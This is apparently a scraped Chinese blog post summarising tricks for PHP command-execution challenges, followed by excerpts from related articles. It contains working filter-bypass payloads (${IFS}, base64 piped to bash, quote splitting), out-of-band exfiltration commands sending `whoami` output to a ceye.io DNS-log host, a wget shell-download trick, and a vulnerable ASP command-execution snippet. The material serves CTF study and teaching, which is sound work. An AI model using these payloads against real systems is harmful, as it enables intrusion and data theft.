浅析php命令执行

总结一下自己在命令执行这一方面收获的一些小技巧

Linux读取文件的一些命令

cat  从第一行开始,显示文件的所有内容
tac  从第最后一行开始,显示文件的所有内容(正好与cat相反)
more 根据窗口大小,一页一页的实现文件内容
less 和more类似,但是优点是是可以往前翻页和搜索字符
head  只显示前几行
tail  只显示后几行
nl     类似于cat -n,显示时输出行号

linux下的一些绕过方式

  • 过滤了空格

可以使用${IFS}来进行绕过
echo${IFS}123456

读取文件的时候可以使用重定向符号

cat<>filename

cat<filename

  • 黑名单绕过

使用拼接法

a=l;b=s;$a$b 执行的就是ls

利用base64编码
echo "d2hvYW1pCg=="|base64 -d 整体用反单引号包一下,我这边是markdown语法。

echo "d2hvYW1pCg=="|base64 -d|bash

使用单双引号

ca''t flag
ca""t flag
ca''t fl''ag

使用反斜线

ca\t fl\ag

Linux自带的一些字符

绕过过滤分隔符号

Linux自带的三种分隔符号
; || &&

${PS2}代表">"
${PS4}代表"+"
${IFS}代表字段分隔符
${9}代表空字符串

可以使用

%0a %0d ; ${IFS} &绕过

命令终止符号

%00 %20#

无回显命令执行

  • 反弹shell(nc啦,msf啦这里面不在赘述)
  • dns管道解析

http://ceye.io/records/http注册一个账号就行了,看一下自己的dns

?

执行
curl http://ip.port.b182oj.ceye.io/`whoami`
ping `whoami`.ip.port.b182oj.ceye.io

curl `whoami`.i96tvv.ceye.io

在看一下dns的解析记录

?

限制了长度

1>wget1>域名.1>com1>-O1>she1>ll.p1>p
ls>a
sh a

利用文件名进行命令执行6

文章

原文地址:https://www.cnblogs.com/Mikasa-Ackerman/p/qian-xiphp-ming-ling-zhi-xing.html

时间: 2024-10-10 17:23:32

浅析php命令执行的相关文章

ImageMagick 命令执行分析

ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩.切割.水印.格式转换等等.但近来有研究者发现,当用户传入一个包含『畸形内容』的图片的时候,就有可能触发命令注入漏洞. 国外的安全人员为此新建了一个网站: https://imagetragick.com/ ,不得不说,有些外国人蛮会玩的. 相对于之前的数个拥有『主页』的漏洞,这个洞确实不一般,确实是一个可以被利用的好洞,乌云主站上也爆出了数个被该漏洞影响的大厂商.我们先来分析一下它出现的原

我是如何从一个xss到某个浏览器的远程命令执行

0x01 前言:其实我是个小白平时就喜欢瞎搞,无意间碰到一个浏览器就想一探究竟,好了废话不多说开始!!! 0x02 可以看到我打开的新标签是怎么一个链接页面,既然是页面我是不可以XSS它呢? 于是我就打开了控制器输入XSS代码如下图: 输入payload发现能成功弹窗,我们来假设如果这个浏览器的本地域既然能弹XSS是不可以弹出其他的呢? 没错确实能弹出其他的,如图: 没错我弹出了他的CMD窗口,我们来ipconfig一下 可以看到成功弹出了,我们再来弹出它的计算器试试如图: 是不是很神奇就出来了

Metasploit溢出java RMI SERVER命令执行漏洞

利用java RMI SERVER命令执行漏洞,获得目标主机root权限. Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行. 一.利用nmap工具扫描目标主机 1.1使用nmap命令对目标主机进行扫描.单击桌面空白处,右键菜单选择"在终端中打开". 1.2在终端中输入命令"nmap –sV  192.168.1.3",对目标主机进行端口扫描,发现开放1099端口. 1.3在终端中输入命令"msfco

[转]Windows中的命令行提示符里的Start命令执行路径包含空格时的问题

转自:http://www.x2009.net/articles/windows-command-line-prompt-start-path-space.html 当使用Windows 中的命令行提示符执行这段指令时(测试Start命令执行带空格的路径的程序或文件问题),第一行Start会成功执行,跳出记事本程序,而第二行,会 Start跳出一个新的命令提示符,标题上写着路径,但是不会执行任何命令,第三行Start命令行提示符会提示C:\Program文件不存在,提示无 法执行. start

Linux命令执行顺序— ||和&amp;&amp;和; 比较

Linux命令执行顺序— ||和&&和; command1 && command2: &&左边的command1执行成功(返回0表示成功)后,&&右边的command2才能被执行. command1 || command2: 如果||左边的command1执行失败(返回1表示失败),就执行&&右边的command2. command1;command2: 命令顺序执行 //第一个命令执行不成功,第二个命令才执行 [[email

CentOS 7.3验证Linux命令执行的优先级

在Linux中,不同的目录下可能有相同的文件.虽然同名,两个文件的作用却完全不同. 执行同一命令,可能会显示完全不同的结果.如pwd本来显示当前工作目录,我们却可以定义别名使它输出时间. 要了解命令执行的先后顺序,首先我们要明白内部命令和外部命令的不同.使用type command可以查看命令类型. 我们可以看到以上四个命令的显示结果是完全不同的. 这里pwd是内部命令,cal是hash(缓存)命令,ls是别名,date则是外部命令. 这里要引进一个变量PATH,通过echo,我们可以查看变量P

命令执行的tip

先看一个例子:本地测试环境:php 5.4.45 + win <?php $command = 'dir '.$_POST['dir']; $escaped_command = escapeshellcmd($command); var_dump($escaped_command); file_put_contents('out.bat',$escaped_command); system('out.bat'); ?> 应该如何去绕过执行? escapeshellcmd http://php.

bash的工作特性之命令执行返回值和命令展开的内容及练习示例

命令执行返回值: hell中,$? 就是上一个执行命令或的返回码, 例如   执行命令xxxxx echo $?  就输出了执行命令xxxxx的返回码,当然也可以把$?保存到一个变量中,用于后续的计算或者其他判断逻辑. 通过 $? 获取上一次命令执行的结果,0表示成功,非0表示失败. 命令展开: (1)创建/tmp目录下的:a_c, a_d , b_c, b_d (2)创建/tmp/mylinux目录下的:

ASP代码审计 -4.命令执行漏洞总结

命令执行漏洞: 保存为cmd.asp,提交链接: http://localhost/cmd.asp?ip=127.0.0.1 即可执行命令 <%ip=request("ip") response.write server.createobject("wscript.shell").exec("cmd.exe /c ping "&ip&"").stdout.readall %> 利用方式: http: